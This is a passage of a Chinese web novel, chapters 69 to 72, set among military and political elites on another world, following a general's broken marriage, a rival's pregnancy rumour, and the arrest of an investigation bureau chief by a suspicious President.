上午,明毓正在处理军校的招生计划文件,办公室的门被敲响了。 “进来。”她头也不抬地说。 门被推开,战南笙走了进来。 她穿着一身笔挺的军装,脸上毫无笑意,两人在军部时就经常因为意见不合而争执,如今在军校共事,矛盾更是不可避免。 战南笙走到办公桌前,将一份文件放在桌上。 “明校长,关于今年的招生计划,我想和你讨论一下。” 明毓抬起头,看了她一眼:“说吧。” 战南笙拉开椅子坐下,语气平静:“我建议招生先从军部内部推荐筛选,这样可以确保生源的质量和忠诚度。毕竟,军校培养的是未来的军官,不是普通的学生。” “我不同意。”明毓皱了皱眉,公事公办道:“军校会通过联考选拔人才,而不是局限于军部内部,不能让有军事才能的人失去公平竞争的机会。” 战南笙反驳道:“明毓,你是不是太理想化了?联考选拔的人才,未必能适应军校的严格训练和军部的纪律要求。我们需要的不仅是能力,还有忠诚。” “军部的未来需要的是多样化的能力,而不是一群只会服从命令的机器,联考选拔的人才,反而有更多的可塑性。” 战南笙的脸色微微一变:“明上将,你这是在质疑军部的选拔机制吗?” 明毓冷笑一声:“我只是在质疑你的狭隘思维。” 两人之间的气氛瞬间变得剑拔弩张,办公室里的温度仿佛都降低了几度。 战南笙沉默了片刻,突然话锋一转,挑衅道:“明上将,听说你昨晚被老婆赶出去了?连自己的私生活都处理不好,还谈什么工作?” 明毓的脸色瞬间沉了下来,反唇相讥:“战副校长,你倒是挺关心我的私事。不过,比起我的家事,你和秦霜未婚怀孕的事情,似乎更值得上热搜吧?” “秦霜的孩子跟我没关系,不要再让我听见这种谣言,不然别怪我翻脸。” 战南笙的脸色瞬间变得难看,眼神恨不能杀人。 明毓嗤笑一声:“怎么?敢做不敢认?” “明毓,你会为今天的话后悔的。” 战南笙丢下狠话,气得转身走向门口,摔门而去。 办公室里恢复了安静,明毓根本没把这个小插曲放在心上。 她继续给宋青佩发了一条消息,消息发出,却发现出现了一个刺眼的红色感叹号—— 她被拉黑了。 她的手指猛地顿住,眼神里闪过慌乱和不可置信。 明毓试图冷静下来,但脑海中不断浮现昨晚,宋青佩冷漠的眼神、决绝的背影,以及她狼狈不堪地被推出门的情景。 现在宋青佩,狠得让她害怕。 明毓强迫自己冷静下来,她必须做些什么,迅速拨通了乌澜的通讯号码。 通讯器响了几声后,乌澜的声音从那边传来:“明上将,不,明校长,怎么有空给我打电话了?” 明毓没心思理会她的调侃,语气急切:“慕容瑞雪和李蔓的事情办的怎么样了?” 乌澜叹了口气,语气里带着几分无奈:“明毓,你这也太心急了吧?这才过去多久?总得给我点时间吧。” 明毓的手指紧紧攥住通讯器:“我等不及了!你必须尽快想办法把这件事办成。” 闻言,乌澜语气里带了几分调侃:“是因为青佩吗?我可听说,堂堂上将,居然被人赶出门,啧啧,真是让人大开眼界。” 明毓的脸色瞬间变得铁青,“你——” 乌澜笑道:“别生气,我只是关心你。现在全网都在讨论你和宋青佩的事情,你打算怎么收场?” 明毓的胸口剧烈起伏,她强压下心中的怒意,冷冷地说:“乌澜,我的私事不用你管。慕容瑞雪和李蔓的事情,你必须尽快——” 乌澜打断了她的话,“知道了,我在处理了,你别再催了。” 挂断通讯器后,乌澜直接去了总统府。 她穿过长长的走廊,脸上依旧挂着那副漫不经心的笑容,但心里却隐隐有些不安。接下来要面对的是总统战笠——一个心思深沉、身处高位的上位者,想要达成目的又不引起怀疑,必须做足准备。 推开总统办公室的门,乌澜走了进去。 战笠正坐在办公桌后,手里拿着一份文件,眉头微皱,似乎在思考什么。 听到脚步声,他抬头看到是乌澜,神色放松了一些:“乌澜,你来了。” 乌澜点了点头,语气恭敬:“总统,我来跟您汇报一下慕容瑞雪和李蔓的情况。” 战笠放下手中的文件,示意她坐下:“说吧,查得怎么样了?” 乌澜坐在她对面的椅子上,语气平静:“慕容瑞雪和李蔓的背景已经查清楚了,确实和慕容暇关系密切,至于她们目的咬死都不肯说。我建议,找个机会将她们放了,然后暗中追踪,趁机找到慕容暇的下落。” “放了她们?”战笠眼神眯起,打量着她:“乌澜,放虎归山,可不是明智之举。” 乌澜笑了笑,语气轻松:“慕容暇狡猾多端,我们一直抓不到她,就是因为她的行踪太过隐秘。如果我们继续关着慕容瑞雪和李蔓,只会打草惊蛇,不如放长线钓大鱼,说不定会有意外收获。” 战笠沉默了片刻,眼神里带着几分审视:“乌澜,你一向心思缜密,这次的建议倒是让我有些意外。你确定,这个计划能够成功?” 乌澜心里一紧,但脸上依旧保持着平静的笑容:“我有极大的把握,抓不到慕容暇我愿意引咎辞职,请您给我个机会。” 战笠盯着她看了几秒,随后笑了笑,语气缓和了一些:“乌澜,你的忠心我是相信的。不过,最近军部的局势有些复杂,我希望你能时刻保持警惕,不要因小失大。” 乌澜点了点头,语气坚定:“总统,我会的。” 战笠满意地点了点头,随后话锋一转:“对了,乌澜,战南笙和秦霜的事情,你查得怎么样了?” 乌澜心里暗暗松了一口气,解释道:“大小姐和秦霜的事情有些复杂。大小姐一直不承认孩子是她的,但秦霜却坚称孩子是大小姐,我在让人调查秦霜最近的行踪,实在不行,只能说服大小姐做亲子鉴定了。” 战笠皱了皱眉,语气里带着几分不悦:“南笙这孩子,一向任性妄为。如果孩子真的是她的,她必须负起责任来,正好她年龄也不小了,和秦家联姻的事也该提上日程了。” 乌澜点了点头,语气恭敬:“您放心,我会尽快给您一个答复的。” 战笠挥了挥手,示意她可以离开了。 乌澜站起身,微微鞠躬,随后转身走出了办公室。 乌澜从总统府出来后,心情有些沉重,战笠的试探和怀疑让她压力倍增。 她调整了一下情绪,驱车返回调查局。 推开办公室的门,乌澜看到战南笙正坐在她的办公椅上,直勾勾地盯着她。 乌澜笑了笑:“大小姐,怎么有空来我这里?” 战南笙瞪着乌澜,冷着脸问:“乌澜,你去见我父亲了?你们说了什么?” 乌澜道:“没说什么,只是汇报一些工作上的事情。” 闻言,战南笙不满地冷哼一声,“秦霜的事情查得怎么样了?孩子到底是谁的?敢碰瓷我,我饶不了她。” “查清楚了,没什么稀奇的,不过又是家族棒打鸳鸯的老套戏码。” 乌澜笑了笑,缓缓告诉了战南笙自己调查到的信息。 秦霜爱上了名不见经传的小保镖,两人珠胎暗结,秦家却逼着秦霜和战家联姻,用小保镖威胁秦霜,逼着她打掉这个孩子。那天,秦霜原本是想找战南笙谈谈,想和她假结婚保下孩子和爱人,没想到战南笙喝醉了,正好被人拍下了两人暧昧的画面。 她怀孕的事情被爆了出来,于是才有了秦霜怀了战南笙孩子的传闻。 听完这一切的战南笙,冷笑:“乌澜,你相信这世上有这么巧的事吗?” 乌澜没有直接回答她的话,而是提议道:“其实你和秦霜的事情,也不是没有解决办法。不如,你们顺水推舟假结婚如何?反正你父亲迟早要你和秦家联姻,不是秦霜,也会是别人。” 闻言,战南笙的脸色瞬间变得铁青,眼神里满是怒火:“乌澜,你——” 她猛地抬手,狠狠给了乌澜一个耳光。 乌澜的脸被打得偏到一边,但依旧漫不经心的笑道:“大小姐,你何必这么激动?我只是提个建议而已。” 战南笙气得浑身发抖:“乌澜,你让我和秦霜假结婚?你到底有没有心?” 乌澜的眼神里闪过一丝复杂,但很快恢复了平静:“大小姐诶,感情和利益是两回事,你父亲需要你和秦家联姻,这是无法改变的事实。你和秦霜假结婚,既能保住战家的利益,又能保持自由,何乐而不为?” “乌澜!”战南笙狠狠地瞪着她,怒声质问:“你之前明明说的去找我父亲坦白,要跟我结婚。” 想到战笠刚才的试探,乌澜沉默许久,淡淡地说:“如果现在告诉你父亲我们的关系,你父亲不会放过我的,被免职是最轻的结果。” “好好好乌澜,你真是好样的。” 战南笙气得冷笑连连,“为了这个调查局长的位置,你连我的感情都敢利用。” “这只是权宜之计,不必这么认真。” 乌澜说得漫不经心,仿佛在说一件稀松平静的事情。 看着她这副无所谓的样子,战南笙的眼里满是愤怒和痛苦,她的胸口起起伏伏,许久,她猛地转身,摔门而去。 “乌澜,你给我等着,这事没完。” 乌澜站在原地,摸了摸被打的脸颊,嘴角勾起一丝苦笑—— 当晚,乌澜约了秦霜在一家私密性极高的会所见面。 这家会所位于中央星区的繁华地段,但入口隐蔽,只有少数权贵和名流才知道它的存在。 乌澜提前订好了包厢,坐在里面静静地等待着。 没过多久,包厢的门被轻轻推开,秦霜走了进来。 她穿着一身低调的黑色风衣,戴着帽子和墨镜,几乎遮住了大半张脸。 乌澜看到她这副模样,忍不住笑了:“秦小姐,你这身打扮,倒像是来做间谍的。” 秦霜摘下墨镜和帽子,露出一张精致却带着几分疲惫的脸。 她走到乌澜对面坐下,无奈道:“乌局长,你就别取笑我了。我现在可是如履薄冰,战南笙那边一点消息都没有,我真的很担心。” 乌澜给她倒了一杯茶,语气轻松:“别急,事情还在掌控之中。” 秦霜担忧道:“可是战南笙的态度很强硬,她根本不承认孩子是她的,甚至威胁要弄死我。你当初让我接近她的时候,可是答应过我,会保证让我顺利把孩子生下来的。” “放心,我答应你的事情一定会做到的。”乌澜安抚道:“战南笙那边,我会想办法让她同意的。” 秦霜端起茶抿了一口,眼神里依旧带着忧虑:“乌澜,你确定战南笙会同意假结婚吗?她那么骄傲的人,怎么可能轻易妥协?” 乌澜笃定道:“我会让她同意的。” 沉默了片刻,秦霜无奈地点了点头:“好吧,我相信你。但请你一定要尽快解决这件事,秦家很快就会找上我的,我不想再这样提心吊胆地过日子了。” 乌澜笑了笑,语气里带着几分自信:“放心,一切都在我的掌控之中。” 秦霜叹了口气,“希望如此吧。” 见安抚好了她,乌澜不忘笑着提醒。“别忘了我们的交易,我要秦家的那份星际航线图。” “你放心,只要你能说服战南笙同意和我假结婚,让我摆脱秦家的控制,我会把航线图给你的。”秦霜神色凝重道。 “不超过三天,我保证,战南笙会同意跟你结婚的。” 乌澜再度保证,眸中深色莫测。 两人又聊了一会儿,秦霜才重新戴上帽子和墨镜,两人双双离开。 第70章 乌澜失联 被拉黑的明毓,一整天联系不上宋青佩。 她只能努力不让自己去想,将所有的精力放在了军校的事情上,想办法转移注意力,试图让无尽的公务填满所有时间。 等她处理完手上所有的公务,大概晚上八点。 想到颂颂,明毓叹了口气,起身回了家。 青佩不在,她不能让女儿一个人长时间待在家里,她一定会难过的。 明毓回到山水庄园,进了大厅,只觉得一切安静得可怕。 仿佛没有一丝人气。 曾经,这样的安静是她习惯了的生活状态,可不过几个月,嬉笑闹腾充斥了她的周边,突然安静下来,让她有些不习惯。 明毓皱眉,喊道:“苏管家?” 苏管家听到动静,立刻从楼梯上迎上来,恭敬道:“上将,您回来了。” 下意识地往她身后看了看,并没有别的人,她不由问:“颂颂呢?” “小小姐放学回来就不高兴,说她不要一个人,自己玩了一会儿就给宋小姐打了电话来接她,刚才宋小姐将小小姐接走了。”说到这里,苏管家察言观色地看了看她,才小声道:“苏小姐说,明天周六,让小小姐在她那边住一晚,她明天下午将小小姐送回来。” 闻言,明毓的脸色整个拉了下来,十分难看。 小棉袄说漏风就漏风了,扔下她*一个人跑了。 一瞬间,明毓心酸不已,可却无处发泄,总不能迁怒于苏管家,她还做不出这种事,只能疲惫地叹了口气。 “我知道了。” 她没再说话,起身回了房间。 苏管家看着她孤寂的背影,无奈地叹了口气,最后什么也没说。 明毓回了房间,洗了个澡,躺在床上长久地沉默。 明毓躺在床上,脑海中不断闪过宋青佩的身影。她知道自己不该在这个时候去讨人嫌,可是那种无法抑制的思念和空虚不停地折磨着她。 她翻来覆去,最终还是忍不住拨通了颂颂的通讯号码。 通讯器响了几声后,颂颂的小脸出现在屏幕上。 她的眼睛亮晶晶的,手里还抱着一只毛绒小熊,显然很开心。 “妈咪!”颂颂带着孩子特有的天真,“你怎么还没睡觉呀?” 明毓强忍心中的酸楚,勉强挤出一丝笑容:“妈咪想你了,看看你在干什么呢?” “我在和妈妈玩呢!妈妈刚刚去洗澡了,我在等她。”她说着,把小熊举到镜头前,“妈咪,你看,这是妈妈今天给我买的!可爱吗?” 明毓心里又是一阵刺痛,宋青佩对颂颂的疼爱从未减少,可对自己,却只剩下冷漠和疏离。她努力让自己的声音听起来平静:“很可爱,颂颂喜欢吗?” “喜欢!”颂颂用力点头,眼睛弯成了月牙,“妈妈还说,明天带我去玩!妈咪,你要不要也来?” 明毓喉咙一紧,几乎说不出话来。 宋青佩不会希望她出现,更不会愿意和她一起陪颂颂出去玩。她只能轻声说:“妈咪明天有事,颂颂和妈妈玩得开心点,好吗?” 颂颂的小脸顿时垮了下来,“……妈咪,你是不是哄不好妈妈了?我们不能一起出去玩了吗?” 听着女儿的话,明毓鼻间一酸,眼眶瞬间红了。 她不想让颂颂看到自己脆弱的样子,连忙低下头,假装无事:“不会的,妈咪只是最近有点忙,你妈妈一定会原谅我的……颂颂乖,不要多想。” 颂颂显然不信,小眉头皱得紧紧的:“妈咪,你不要骗我……我知道妈妈真的很生气,我问她是不是永远都不理你了,她也不说话。” “颂颂,妈咪和妈妈只是……只是有些事情需要时间解决。你不要担心,好吗?” 颂颂低下头,小手无意识地揪着玩具小熊的耳朵,声音闷闷的:“嗯,我真的不想你们分开……我想和妈咪、妈妈一起住,像以前一样。” 明毓的心像是被针扎了般,明明,颂颂的愿望很简单,明明一切都要好起来了,却全都被她搞砸了,一瞬间,愧疚几乎要将明毓吞没。 她眼眶发红,“颂颂乖,妈咪和妈妈都会一直爱你的,不管我们是不是住在一起,你都是我们最重要的人。” 颂颂抬起头,眼睛红红的:“可是我想你们在一起……” 闻言,明毓鼻腔一酸,忙扭头道:“颂颂,不要担心,妈咪一定会让你妈妈原谅我的……” 就在这时,颂颂突然转过头,眼睛一亮:“妈妈!你洗好啦!” 明毓的心猛地一跳,下意识地屏住了呼吸。 她看到视频那头,宋青佩穿着宽松的睡衣,头发还湿漉漉的,正用毛巾擦着头发走过来。她的目光扫过颂颂手里的通讯器,显然看到了屏幕上的明毓,但她只是淡淡地瞥了一眼,随即移开了视线,仿佛她根本不存在。 宋青佩没有理会明毓,径直走到沙发旁坐下,打开通讯器翻看着什么。 她的神情专注而平静,仿佛完全沉浸在自己的世界里,对颂颂和明毓的对话充耳不闻。 颂颂看了看宋青佩,又看了看屏幕里的明毓,小脸上满是纠结:“妈咪,妈妈好像不太想理你……” 明毓的心像是被狠狠刺了一下,努力保持平静:“没关系,颂颂,妈妈可能累了,你让她休息吧。” 颂颂低下头,小声嘟囔:“可是我想和妈咪多说一会儿……” 明毓贪婪地看着视频里的宋青佩,哪怕只是一个侧脸,哪怕她对自己视若无睹,她也想多看一眼。 时间一分一秒地过去。 颂颂和明毓聊着天,宋青佩始终没有抬头,明毓的心一点点沉了下去,那种彻底被无视的感觉,难受得让她几欲发疯。 过了很久,宋青佩终于抬头看了看时间,淡淡地说:“颂颂,该睡觉了。” 颂颂看了看屏幕里的明毓,小声说:“妈妈,我们再聊一会儿,好不好?” 宋青佩没有回答,只是静静地看着颂颂,眼神里带着一丝不认同。 生怕宋青佩生气,明毓只能强忍住心中的不舍,轻声说:“颂颂,时间不早了,你早点睡觉吧。妈咪……妈咪爱你。” 颂颂低下头,依依不舍地挥了挥手:“妈咪晚安,我也爱你!” “晚安,颂颂。”明毓的声音几乎低不可闻。 通讯挂断后,明毓想到宋青佩刚才的那种无视和疏离,心如刀绞。 她不敢再想,默默地站起身,推开门去了宋青佩住的房间。 里面还保留着原本的模样,明毓躺在床上,仿佛这样就能感受到宋青佩的存在。她脑海中不断浮现宋青佩的身影,她想起曾经相拥而眠的温暖,可现在,这一切都变得那么遥远。 她知道自己错了,错得离谱。 她以为只要将宋青佩强行留在身边,可以忍受一切,哪怕是宋青佩的冷漠和疏离。可现在她才发现,她根本忍受不了,宋青佩哪怕只是露出一丝厌恶的神情,都让她心如刀绞。 “青佩……我真的错了……” 她们好不容易和好,可现在,这一切都被她自己掉了,她以为自己可以掌控一切,却没想到最终失去了好不容易得到的信任。 青佩,永远都不会再相信她。 明毓感觉到惶然,她知道不能再像从前那样死缠烂打,那样只会让宋青佩更加厌恶她。可是,她该怎么办?她无法忍受没有宋青佩的日子,无法忍受那种孤独和空虚。 可是,她还有机会吗?宋青佩还会给她机会吗? 就在这时,通讯器突然响了起来。 明毓猛地一惊,连忙抬手擦掉脸上的泪水,“明芮?怎么了?” “表姐。”明芮的声音从通讯器那头传来,“查清楚了,视频的源头找到了。” 明毓的心猛地一跳,“是什么人?” “是调查局的人一直在跟踪青佩姐。”明芮的声音低沉而严肃,“那人为了钱,把视频私自卖给了娱乐记者。不过,人已经被调查局的人抓了,现在正在审讯。” 闻言,明毓不由皱了皱眉,“调查局的人?乌澜知道这件事吗?” “乌局长,怕是……还不知道。”明芮的语气里带着担忧:“表姐,这次的事情恐怕没那么简单。泄露视频的人,是调查局的副局长陈铎亲自派过去的,陈铎刚被总统亲自提拔上来,就发生了这件事,怕是总统授意的。” 明毓的心猛地一沉,“总统?战笠这是想干什么?” “我也不清楚。”明芮猜测道,“但我觉得,总统可能是怀疑了什么。乌澜最近的动作有点大,战笠一向多疑,估计是想借这个机会敲打她。” 想到宋青佩的身份,明毓的心里涌起一阵强烈的不安。 她有些急切,“明芮,先这样,我联系一下乌澜。” “现在怕是你也联系不上她了。”明芮担忧道:“我已经查过了,乌澜今天下午四点去了总统府,之后就再没消息了。表姐,我觉得事情有点不对劲,你最好小心点。” 闻言,明毓的心再度一沉,越发觉得事情不简单。 乌澜一向谨慎,如果不是出了什么大事,绝不会突然失联。她深吸一口气,努力让自己冷静下来:“我知道了,我想办法去打听一下。” 挂断通讯后,明毓迅速联系了几个熟悉的高层,试图打听乌澜的消息,可所有人都表示不知道乌澜的下落,明毓的心越来越沉。 她随后拨通了总统府的号码,电话响了几声后,一个温和的女声传来:“您好,这里是总统府,请问您找谁?” “我是明毓。”明毓神色凝重道,“我要找乌澜局长,有紧急事务需要和她沟通。” “抱歉,明上将。”秘书声音恭敬道:“乌局长正在和总统谈事情,等乌局长出来,我们会转告她的。” “好的,我知道了。” 挂断通讯后,明毓的心越发不安。 乌澜人在总统府,却无法和外界联络,明显是被限制了自由。战笠一向多疑,如果乌澜真的被怀疑了,那青佩的身世泄露就是早晚的事。 她必须尽快弄清楚到底发生了什么。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 战南笙的报复 明毓得到确切消息的时候,乌澜已经被总统亲自下令羁押调查。 被调查理由是:渎职。 黑鸢花组织的要犯,慕容瑞雪和李蔓,在调查局羁押审讯期间,居然买通关押人员,成功越狱。虽然最终李蔓被当场击毙,但慕容瑞雪却成功逃脱,总统战笠大怒,身为调查局局长的乌澜,首当其冲被免职审查。 由副局长陈铎暂代调查局局长一职,总统战笠已经命令亲自成立调查组,要对这件事情严加调查,务必将相关人员排查干净。 联邦高层被黑鸢花频繁渗入,简直是奇耻大辱。 得知一切的明毓,暗暗心惊,这番动作,明显是战笠早有防备。 不然陈铎不会有那一番动作。 她细细思索着,又觉得乌澜不是如此被轻易抓住把柄的人,她居然敢放了慕容瑞雪和李蔓,必然有十足的把握,不会如此轻易出事。 现在还不能自乱阵脚。 明毓仔细沉思一番,立刻命令林中尉带了人去暗中保护宋青佩。 接下来,她必须先想办法见到乌澜,才能知道到底发生了什么事。 明毓想到了战南笙,她明显跟乌澜关系暧昧,又是战笠的女儿,必然知道更多的消息,于是她立刻去找了战南笙。 明毓到了战南笙在军校的办公室,却发现办公室的门紧闭着。她敲了敲门,里面没有任何回应,她皱了皱眉,转身走向隔壁的副手办公室。 副手正在整理文件,看到明毓进来,连忙站起身:“明校长,您怎么来了?” 明毓直截了当地问:“战副校长呢?我有事找她。” 副手脸上露出一丝为难的神色,犹豫了一下才回答:“战副校长今天没来,听说身体不太好。” “身体不好?”明毓眉头皱得更紧了,“什么时候的事?” “今天早上总统府直接下达的通知,说是战副校长身体不适,暂时免除她的一切职务,文件正在走流程。”副手小心翼翼地回答,显然对这件事也感到意外。 明毓心中一沉,战南笙昨天还好好的,怎么会突然请病假?而且还是总统亲自下的命令。 她隐隐觉得事情不对劲,立刻拿出通讯器,拨通了战南笙的号码。 然而,通讯器那头却传来冰冷的提示音:“您拨打的用户暂时无法接通,请稍后再试。” 明毓的脸色变得更加凝重。 战南笙也失联了,这绝对不是巧合。 她迅速冷静下来,脑海中飞快地分析着当前的局势,乌澜被羁押审查,战南笙称病失联,这一切似乎并不是仅仅围绕着黑鸢花的人逃走展开,事情明显没有那么简单。 她转身离开副手办公室,回到自己的办公室,迅速整理了几份关于军校的公务文件。这些文件原本是准备和战南笙讨论的,现在却成了她见总统的借口。 明毓拿起文件,径直前往总统府。 总统府的守卫见到明毓,立刻恭敬地行礼。 “我有紧急公务需要向总统汇报。”明毓神色严肃,语气中带着不容置疑的威严。 守卫不敢怠慢,立刻带她进入总统府。 总统战笠正在办公室里处理文件,听到敲门声,抬头看向明毓,脸上露出一丝疲惫的神色:“明毓,你怎么来了?” 明毓走上前,将手中的文件放在桌上:“总统,军校的一些公务需要和战副校长交接,但我今天联系不上她,听说她请了病假,所以特地来向您汇报。” 战笠皱了皱眉,语气有些敷衍:“南笙最近身体不太好,我让她休息一段时间。军校的事情你先处理吧,等她恢复了再交接也不迟。” 明毓神色不变,语气坚定:“总统,军校的招生计划和训练安排都需要战副校长负责,时间紧迫,我希望能尽快和她交接,以免耽误工作。” 战笠沉默了片刻,眼神中闪过一丝复杂的神色。 他显然不想让明毓见到战南笙,但明毓的理由又让他无法拒绝。 最终,他点了点头:“好吧,我让人带你去见她。” 明毓心中一松,脸上依旧保持着平静的神色:“谢谢总统。” 战笠按下通讯器,叫来了秘书:“带明上将去见南笙。” 秘书恭敬地点头,带着明毓离开了办公室。 明毓跟着秘书穿过总统府的长廊,刚走到战南笙的房间门口,就听到里面传来“彭彭”砸东西的声音,伴随着玻璃碎裂的清脆声响。 秘书十分尴尬,连忙上前敲门,语气小心翼翼:“大小姐,明上将来看您了。” 房间里的动静骤然停止,片刻后,门被猛地拉开。 战南笙站在门口,脸色发白,眼神中带着明显的怒意和疲惫。 看到明毓,她先是一愣,随即冷笑一声:“明毓?你也来看我笑话?” 明毓神色平静,语气公事公办:“战副校长,军校的招生计划和训练安排需要和你交接,时间紧迫,我特地来和你讨论。” 战南笙皱了皱眉,显然没想到明毓会以这个理由来找她。 她侧身让开,示意明毓进来。 秘书站在门口,犹豫着是否要跟进去。 战南笙冷冷地瞥了他一眼,语气里带着不耐烦:“你出去吧,我和明上将谈公事,不需要你在场。” 秘书尴尬地点头,退了出去,顺手带上了门。 房间里只剩下明毓和战南笙两人。 明毓环顾四周,发现房间里一片狼藉,地上散落着被砸碎的玻璃杯、文件,甚至墙上挂着的几幅画也被扯了下来,歪歪斜斜地靠在墙角。 战南笙走到沙发旁,随手将手里的破碎相框扔在地上,发出一声闷响。 她坐了下来,双手抱胸看着明毓:“说吧,什么事?” 明毓没有立刻回答,而是走到她对面坐下,低声问:“乌澜到底怎么回事?” 战南笙听到“乌澜”两个字,神色骤然一变。 她的手指微微收紧,指节泛白,眼神中闪过一丝复杂的情绪——愤怒、痛苦、不甘,甚至还有一丝难以察觉的眷恋。她盯着明毓,语气里带着警惕和嘲讽:“你和乌澜什么时候关系这么好了?居然为了她来找我?” 明毓没有回答她的问题,而是直接道:“因为黑鸢花组织的要犯慕容瑞雪和李蔓在调查局羁押期间越狱,总统大怒,乌澜已经被下令羁押审查,罪名是渎职。现在副局长陈铎暂代局长一职,总统已经成立了调查组,要对这件事严加调查。” 战南笙的脸色,随着明毓的话逐渐变得苍白。 “战南笙,这到底怎么回事?”明毓皱了皱眉,追问道:“你父亲为什么会突然对乌澜下手?” 战南笙沉默许久,眼中闪过一丝屈辱和懊恼。 明毓没有催促她,只是静静地等待。 战南笙大概也意识到了事情的严重性,带着几分难以启齿的羞愤:“我父亲逼着我跟秦家联姻,乌澜这个混蛋也逼我,我……我一气之下就把乌澜强行标记我的事情告诉了我父亲。” 说到这里,她的声音戛然而止,显然并不想多说。 明毓一脸错愕,“……乌澜不是Omega?” 闻言,战南笙脸色更加难看,咬牙切齿:“这个混蛋,她当然不是Omega了,她是Enigma。” 这个消息让明毓诧异不已,她忍不住眸色复杂地看了战南笙一,很难想象,战南笙这样的人,居然会被乌澜强行标记,而且看上去,似乎还被乌澜吃得死死地。 战南笙与她作对已久,哪怕知道不应该,她还是忍不住有些扯了扯嘴角,唇角笑意几乎压抑不住。 看出明毓的嘲笑,战南笙瞬间破防:“明毓,你就是来看我笑话的是不是?” 明毓赶紧收敛神色,正色道:“这么说,是你让你父亲关押乌澜的?” 战南笙深吸了一口气,继续说:“不是。我只是想给她一个教训,让她知道我不是那么好欺负的……可我没想到,正好出了黑鸢花组织的人逃跑的事,我父亲会趁机敲打乌澜……” 明毓听到这里,心中顿时一沉。 她意识到,战笠恐怕早就对乌澜有所怀疑,这次的事情不过是一个借口。她看着战南笙,语气严肃:“你父亲恐怕早有这个打算。乌澜现在处境危险,如果不尽快把她救出来,她可能会沦为你父亲手中的弃子。” 战南笙的脸色也变得难看,有些难以置信的喃喃道:“不可能……我父亲不会真的对乌澜怎么样,他只是想给她一个教训……” 她的声音里带着几分不确定,仿佛在试图说服自己。 明毓没有再多说什么,只是提醒道:“你比我更了解你父亲,应该能看出来,你父亲是不是来真的。” 战南笙沉默了片刻,突然抬头盯着明毓,眼神中带着质问:“你和乌澜……是不是有什么不可告人的事情瞒着我?” 她的声音里带着几分尖锐,仿佛在试图掩盖内心的不安。 明毓没有回答她的问题,只是站起身,说:“我先走了,你好好想想吧。” 说完,她转身离开了房间,留下战南笙一个人站在原地,脸色阴晴不定。 她的手指无意识地摩挲着沙发的边缘,脑海中不断浮现出乌澜的身影——那个总是带着漫不经心笑容的女人,她恨乌澜的强势和霸道,恨她将自己当作可有可无的玩物,可她又无法否认,对乌澜的感情早已超越了单纯的恨意, 那种复杂的情绪让她感到无比痛苦。 战南笙走到窗边,低声喃喃:“乌澜……我说过你给我等着……” “无论如何,我们不会这么简单就结束的。” 第72章 明毓的选择 明毓离开总统府,心下却并未安定。 她不是不相信的战南笙的话,以她的性格和城府不会用这种谎言去骗她,可多年来在战场上的直觉告诉她,事情绝不会如此简单。 或许战笠确实因为战南笙的事情,借此敲打乌澜,但绝不会仅仅因为这个,不然不会将事情闹得这般大,乌澜也是,如此轻易被抓住把柄,也不像她之前表现出的城府。 不管这两个狐狸到底再怎么斗法,但她不能让事情波及到宋青佩。 原本一直在犹豫的想法,此刻似乎已经慢慢清晰起来。 是时候做出选择了。 明毓皱眉沉思了片刻,直接拨通了通讯器,命令道:“林中尉,立刻将宋青佩带回山水庄园。” 林中尉听到她突然的命令,有些为难:“上将,若是宋小姐不同意怎么办?” 明毓犹豫了片刻,下定决心般:“不管采取什么手段,先将她带回来。其余的,等我回去再说。” “是!”林中尉应声道。 挂了通讯器,明毓并没有立刻回山水庄园,而是直接去了宋元帅府邸。 对于她的到来,宋元帅似乎并不奇怪。 她微微抬起头,目光平静地看向明毓道:“明毓,这时候过来,是为了青佩吧?” “宋元帅,您应该已经知道乌澜的事了吧。”明毓道。 宋元帅点了点头,“战笠这个老狐狸,一向翻脸不认人,这次乌澜怕是并不那么容易脱身。”说到一半,她皱眉疑惑道:“说起来乌澜不简单,到现在也无法确定,她到底是哪一边的人。” 对于乌澜,明毓也多有警惕。 但是乌澜和战笠是敌对的,这是她一开始就可以确定的,也是两人可以合作的基础,起码到目前为止,乌澜并没有表现出任何反水的迹象。 而现在,她还有更重要的事情要做。 明毓走上前,神色凝重道:“宋元帅,我有重要的事情想请教您。” 宋元帅示意她坐下:“别急,慢慢说。” 明毓坐下,直截了当地问:“宋元帅,我想知道,前总统容岑真的是被冤枉的吗?当年究竟是怎么回事?” 宋元帅沉默了片刻,眼神中闪过一丝复杂的情绪。 许久,才看向明毓,缓缓开口:“明毓,为什么突然问起这个?” 明毓没有回避她的目光,而是神色凝重道:“宋元帅,战笠已经关押了乌澜,青佩的身份迟早都会暴露,到时她的处境将会非常危险。我必须知道真相,才能更好地保护她。” 宋元帅叹了口气,声音低沉:“明毓,有些事情,知道得太多,对你未必是好事。” 听这话的意思,明显是不想说。 明毓皱眉,正想开口劝她宋元帅,忽然,门被大力推开。 门外,宋惜寒大步走了进来。 对于她的到来,宋元帅和明毓都十分惊讶, 尤其是宋元帅,她脸色一变,厉声道:“惜寒,我不是已经让林元帅将你调走了,你怎么还没去域外星工作。” “奶奶,我不会在这时候离开澜星的。” 宋惜寒迎着宋元帅凌厉的眼神,缓缓道:“奶奶,您到底要退缩到什么时候?哪怕我这次离开,远离了纷争的漩涡,他们就会真的放过我?放过宋家吗?” “当年,您放弃了两位姑姑,放弃了军权,可得到了什么?为帅,您对不起当年那些跟随你为国效命的军士,为母,您对不起信任您的儿女……” “够了!”宋元帅失态地吼道。 宋惜寒无所畏惧地看着她,“奶奶,您到底在怕什么?事到如今,我们宋家还有什么可怕?不管如何,我都不会离开的,就算是死,我也绝不会像个丧家犬一样落荒而逃。” 在宋元帅越发颓败的神色中,明毓上前道:“宋元帅,我知道这件事牵扯到很多隐秘,您担心惜寒的安危。我向您保证,只要有我在,绝不会让惜寒出事。” “而且……青佩毕竟是您的外孙女,宋二小姐更是您的亲生女儿,您难道真的忍心看着她们陷入危险吗?” 闻言,宋元帅的背影微微一僵,手心紧紧攥紧,指节泛白。 她的声音低沉,仿佛在压抑着什么:“明毓,你真的做好跟总统对抗的准备了吗?” 明毓毫不犹豫地点头:“是的,我一定会保护好青佩,不惜一切代价。” 宋元帅长叹一声,“好,既然你执意如此,那我就告诉你。” 她缓缓走到书桌前,从抽屉里拿出一份泛黄的文件,递给明毓:“这是当年的报告,你看看吧。” 明毓接过文件,迅速翻阅起来。 随着阅读的深入,她的眉头越皱越紧,脸色也逐渐变得苍白。 “容总统是因为‘蓝树’抑制剂才被陷害……”明毓的声音中带着几分震惊。 